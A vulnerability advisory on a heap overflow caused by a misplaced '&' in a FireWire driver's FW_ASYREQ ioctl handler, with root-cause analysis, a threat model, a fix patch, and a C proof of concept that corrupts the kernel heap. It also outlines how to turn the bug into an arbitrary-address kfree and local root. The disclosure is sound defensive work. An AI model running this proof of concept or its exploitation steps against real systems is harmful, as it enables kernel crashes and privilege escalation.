Summary

In the FW_ASYREQ ioctl handler, bcopy((char *)fp + tinfo->hdr_len, (void *)&xfer->send.payload, pay_len) at fwdev.c:560-561 takes the address of the send.payload pointer field rather than the value of the pointer. The intended destination is the freshly kmalloc'd payload buffer (xfer->send.payload); instead pay_len attacker-controlled bytes are written into the xfer struct itself starting at the send.payload field, overwriting send.payload, send.pay_len, send.spd, the entire recv sub-struct (including recv.hdr, recv.payload, recv.pay_len), mbuf, link, and malloc, and finally running off the end of the fw_xfer allocation into adjacent kernel heap. pay_len is (unsigned short)asyreq->req.len - hdr_len, i.e. up to ~65519 bytes. The corrupted send.payload and recv.payload are subsequently used by fw_asyreq / fwohci_itx for DMA (bus_dmamap_load(... &xfer->send.payload[0], xfer->send.pay_len ...) at fwohci.c:917-918) and by the response bcopy (fwdev.c:583), yielding both an attacker-directed kernel-memory-to-bus leak primitive and an arbitrary-address kfree() primitive via fw_xfer_free_buf (firewire.c:1032-1037, reached via fwdev.c:586).

Root cause

The typo is at fwdev.c:560-561 — the & operator. Every other site in the driver that touches the payload buffer dereferences the pointer (e.g. firewire.c:959 xfer->send.payload = kmalloc(...), fwohci.c:918 &xfer->send.payload[0], firewire.c:1033 kfree(xfer->send.payload, ...)). Only this one bcopy takes the address of the field.

/* fwdev.c:558-561 — the bug */
bcopy(fp, (void *)&xfer->send.hdr, tinfo->hdr_len);
if (pay_len > 0)
    bcopy((char *)fp + tinfo->hdr_len,
        (void *)&xfer->send.payload,    /* !!! address of the pointer field */
        pay_len);

pay_len is computed at fwdev.c:529-530 as MAX(0, asyreq->req.len - tinfo->hdr_len); asyreq->req.len is u16 (struct fw_asyreq_t at firewire.h:259) so pay_len is bounded to ~65535 and the buffer allocated at fwdev.c:532 via fw_xfer_alloc_buf is sized to exactly pay_len. There is no length check between the alloc and the bcopy.

The data source (char *)fp + tinfo->hdr_len points into the user-supplied asyreq->pkt.data[512] (firewire.h:265) — i.e. fully attacker-controlled bytes.

Reachability: pay_len > 0 only requires a block-async tcode (FWTI_BLOCK_ASY), e.g. FWTCODE_WREQB (1), FWTCODE_RREQB (5), FWTCODE_LREQ (9). For pay_len >= 8 the send.payload field is fully overwritten; for pay_len >= 10 the send.pay_len field is also overwritten so the attacker can keep it consistent with fp->mode.rresb.len to pass the len != xfer->send.pay_len check at firewire.c:220; for pay_len >= 40 the recv.payload field is overwritten; for pay_len > ~80 the bcopy runs off the end of the fw_xfer into adjacent M_FWXFER heap.

Threat model & preconditions

• Attacker position: Local user in the operator group (the default group permitted to open /dev/fwN which is mode 0660 — set at fwdev.c:854-856 and fwdev.c:173-176). No priv_check/suser is performed anywhere in fw_ioctl.
• Privileges gained or impact: Three independent impacts: 1. Heap overflow of up to ~64 KB into adjacent kernel heap — with M_FWXFER heap grooming (spraying control structures whose function pointers land adjacent to the allocated xfer), this yields kernel instruction control and local root. 2. Arbitrary-address kfree: pay_len = 8 corrupts only send.payload; the out: path then calls fw_xfer_free_buf (fwdev.c:586) which does kfree(xfer->send.payload, xfer->malloc) (firewire.c:1033) on the attacker-chosen address — a write-what-where via the malloc free-list. 3. Kernel-memory-to-bus leak: if the attacker additionally controls a FireWire node on the bus to send a response, the corrupted recv.payload is read out to user space by bcopy(xfer->recv.payload, ...) at fwdev.c:583 — arbitrary kernel-memory disclosure.
• Required config or capabilities: Default kernel with firewire configured. Local operator-group membership.
• Reachability: open("/dev/fwN", O_RDWR); ioctl(fd, FW_ASYREQ, &req); with a block tcode. Single syscall.

Proof of concept

/* df-fw-asyreq-overflow.c — needs /dev/fw0 access (group operator) */
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <string.h>
#include <bus/firewire/firewire.h>

int main(void) {
    int fd = open("/dev/fw0", O_RDWR);
    if (fd < 0) { perror("open /dev/fw0"); return 1; }

    struct fw_asyreq req;
    memset(&req, 0, sizeof(req));
    req.req.type = FWASREQNODE;          /* skip EUI resolve */
    req.req.sped = FWSPD_S100;
    req.req.len  = 65535;                /* → pay_len = 65535 - hdr_len */
    /* FWTCODE_WREQB == 1 has FWTI_BLOCK_ASY set in fc->tcode[].flag */
    req.pkt.mode.hdr.tcode = FWTCODE_WREQB;
    req.pkt.mode.wreqb.dst     = 0xffc0;   /* FWLOCALBUS */
    req.pkt.mode.wreqb.dest_hi = 0xffff;
    req.pkt.mode.wreqb.dest_lo = 0xf0000900;
    req.pkt.mode.wreqb.len     = 0x100;    /* keep len == send.pay_len check happy */
    /* Payload bytes that are bcopy'd into &xfer->send.payload.
     * Fill with a pattern; this is the heap-overflow payload. */
    memset(req.pkt.mode.wreqb.payload, 0x41, sizeof(req.data));

    ioctl(fd, FW_ASYREQ, &req);            /* corrupts heap, often panics later */
    return 0;
}

Build & run

cc -o df-fw-asyreq-overflow df-fw-asyreq-overflow.c   # may need -I/usr/src
./df-fw-asyreq-overflow

Expected output

Kernel panic from corrupted M_FWXFER allocator metadata shortly after the ioctl (e.g. panic: kfree: multiple frees or panic: bad free list) — confirms the heap overflow.

For an arbitrary-free primitive demonstration, set pay_len = 8 (asyreq.req.len = 8 + hdr_len) and put the address of any live kernel allocation in bytes 0..7 of the payload; the subsequent kfree at firewire.c:1033 frees that allocation, enabling use-after-free exploitation.

Impact

Local kernel heap overflow + arbitrary-address kfree + kernel-memory disclosure, all from a single FW_ASYREQ ioctl by any user in the operator group. Default /dev/fw* mode is 0660/GID_OPERATOR. The bug is a typo (&xfer->send.payload should be xfer->send.payload) that converts a benign bcopy into a write-what-where primitive. High severity per "kernel memory corruption" + "local privilege escalation".

Recommended fix

Remove the erroneous &. The destination must be the allocated payload buffer (the pointer value), not the address of the field.

--- a/sys/bus/firewire/fwdev.c
+++ b/sys/bus/firewire/fwdev.c
@@ -558,7 +558,7 @@
        bcopy(fp, (void *)&xfer->send.hdr, tinfo->hdr_len);
        if (pay_len > 0)
            bcopy((char *)fp + tinfo->hdr_len,
-               (void *)&xfer->send.payload, pay_len);
+               (void *)xfer->send.payload, pay_len);
        xfer->send.spd = asyreq->req.sped;
        xfer->act.hand = fw_asy_callback;

Additionally, harden the path: bound pay_len to <= MAXREC(fc->maxrec) before the allocation, and validate asyreq->req.type is one of the four declared enum values before using it (currently FWASRESTL silently falls through). None of these are substitutes for fixing the & typo, which is the root cause.

References

• sys/bus/firewire/fwdev.c:558-561 — the bcopy typo
• sys/bus/firewire/fwdev.c:521-532 — pay_len computation and allocation
• sys/bus/firewire/fwdev.c:583, 586 — use of corrupted recv.payload and fw_xfer_free_buf (arbitrary kfree)
• sys/bus/firewire/firewire.c:959, 1032-1037 — fw_xfer_alloc_buf and fw_xfer_free_buf reference impls
• sys/dev/firewire/fwohci.c:917-918 — DMA via &xfer->send.payload[0]
• CWE-787 Out-of-bounds Write
• CWE-123 Write-What-Where

Timeline

• 2026-07-14 Discovered during automated audit.